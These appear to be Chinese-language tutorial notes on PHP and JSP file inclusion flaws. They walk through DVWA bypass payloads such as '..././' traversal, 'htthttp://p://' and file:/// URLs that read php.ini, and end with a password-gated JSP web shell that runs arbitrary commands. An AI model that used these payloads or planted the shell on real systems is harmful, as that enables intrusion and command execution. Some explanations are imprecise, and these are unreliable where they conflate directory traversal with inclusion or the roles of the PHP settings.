文件包含漏洞
目录遍历漏洞在国内外有许多不同的叫法,也可以叫做信息泄露漏洞、非授权文件包含漏洞等。
文件包含分类
LFI:本地文件包含(Local File Inclusion)
RFI:远程文件包含(Remote File Inclusion)
与文件包含有关的函数
include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行。
include_once():和 include()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行。
require_once():和 require()功能相同,区别在于当重复调用同一文件时,程序只调用一次。
相关的 php.ini 配置参数
allow_url_fopen = on (默认开启)
allow_url_include = on (默认关闭)
远程文件包含是因为开启了 php 配置中的 allow_url_fopen 选项(选项开启之后,服务器允许包含一个远程的文件)。
hackbar
文件上传漏洞需要使用hackbar,一款火狐插件,官网下载
DVWA测试
Low级别
没有任何判断,可以执行任何路径
本地用../等路径查看文件,远程用http等查看文件。
Medium级别
进行了如下字符的过滤
http://
https://
../
..\
本地文件直接用绝对路径,相对路径可以用..././..././..././dvwa/php.ini
远程文件用htthttp://p:
http://www.dvwa.com/vulnerabilities/fi/?page=htthttp://p://127.0.0.1/phpinfo.txt
High级别
要求page
参数的开头必须是file
,服务器才会去包含相应的文件。
然可以利用file
协议绕过防护策略
http://www.dvwa.com/vulnerabilities/fi/?page=file:///F:/phpStudy/PHPTutorial/WWW/dvwa/php.ini
Impossible级别
直接利用白名单机制
jsp的文件包含漏洞
jsp的文件包含分静态包含的动态包含两种:
静态包含:<%@include file="top.jsp"%>
动态包含:<jsp:include page="top.jsp" />
就目前了解静态包含是不存在问题的,因为file的参数不能动态赋值
而动态包含是存在问题的
php文件包含有本地文件包含和远程文件包含两种
java文件包含的时候也是分这两种情况
1.本地文件包含:
目前我对java的本地文件包含的理解为:造成的危害就只有文件读取,一般情况下是不能造成命令执行或代码执行的。php之所以能执行命令是因为包含txt文件,只要txt种的内容符合php程序的格式就能当成php来解析,也就是说攻击者可能上传一个一句话木马后缀是txt,上传后利用文件包含漏洞包含他就可以了。java则没有次特征。所以个人认为java的本地文件包含漏洞很难造成代码执行的漏洞的(当然,要是直接包含一个一句话木马的jsp文件还是可以执行命令的,问题要是有这样一个木马jsp文件,你又知道路径,为什么不知道访问呢?),有种特殊情况就是,通过某种手段在服务器上生成了一句话木马文件但是在特点文件夹下,访问权限不够时可以利用此文件包含漏洞包含她。
html>
<head>
<title>测试页面</title>
</head>
<body>
静态包含
top.jsp文件
<%@include file="top.jsp"%>
<%@include file="pass.txt"%>
<%@include file="WEB-INF/web.xml"%>
<% String name = request.getParameter("name");%>
动态包含
<jsp:include page="top.jsp" />
<jsp:include page="pass.txt" />
<jsp:include page="WEB-INF/web.xml" />
<jsp:include page="http://www.njuae.cn/index.jsp" />
<%-- <jsp:include page="<%=name%>" />--%>
<%--<jsp:include page="oneword.txt" />--%> </body>
</html>
2.远程文件包含:
经测试发现<jsp:include page="http://www.***.com/index.jsp" />能正常包含文件,但是运行时会报错,不知道为什么,以后再研究,目前看来应该是没有该漏洞的。
<%
if("123".equals(request.getParameter("pwd"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
}
%>
参考